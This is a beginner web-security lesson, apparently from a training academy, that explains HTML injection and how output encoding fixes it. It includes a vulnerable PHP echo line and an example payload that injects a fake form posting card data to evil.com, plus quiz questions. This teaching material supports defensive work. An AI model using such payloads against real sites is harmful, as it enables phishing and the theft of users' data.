Skip to main content

Free 30-min security demo  — We'll scan your real code and show live findings, no commitment Book Now

Offensive360
Academy HTML Injection
Beginner · 15 min

HTML Injection

Understand how injected HTML markup enables phishing overlays and UI redressing even without JavaScript.

1 HTML Injection vs XSS

HTML injection occurs when unsanitized user input is rendered as HTML markup in a browser — but without JavaScript execution. Unlike XSS, the attacker cannot execute scripts, but they can still inject malicious HTML elements.

Vulnerable example (PHP):

echo "Welcome, " . $_GET["name"];

An attacker sends: ?name=<h1>Site Hacked</h1><form action=http://evil.com><input name=cc></form>

The browser renders a fake login form overlaid on the real page. The victim sees what appears to be a legitimate form but submits their data to the attacker.

Common HTML injection scenarios:

  • Fake error messages with phishing links
  • Overlaying login forms to steal credentials
  • Injecting <meta> refresh redirects
  • Defacing page content to damage reputation

2 Output Encoding

The fix is to HTML-encode all user-supplied output so that markup characters are displayed as text, not interpreted as HTML.

Encoding required for HTML context:

  • &&amp;
  • <&lt;
  • >&gt;
  • "&quot;
  • '&#x27;

Safe output (PHP):

echo "Welcome, " . htmlspecialchars($_GET["name"], ENT_QUOTES, "UTF-8");

Framework auto-escaping:

# Django templates auto-escape by default
{{ name }}  {# safe #}
{{ name|safe }}  {# UNSAFE — bypasses escaping #}

Defense checklist:

  • HTML-encode all user output placed into HTML context
  • Use templating engines with auto-escaping enabled
  • Never use raw/safe/noescape filters with untrusted input
  • Apply context-appropriate encoding (HTML, JS, URL, CSS are different)

Knowledge Check

0/3 correct
Q1

How does HTML injection differ from stored XSS?

Q2

Which PHP function correctly HTML-encodes output to prevent HTML injection?

Q3

What is the main risk of HTML injection without JavaScript execution?

Code Exercise

Encode HTML Output

The function below renders user-supplied content directly into HTML, enabling HTML injection. Fix it by HTML-encoding the output.

javascript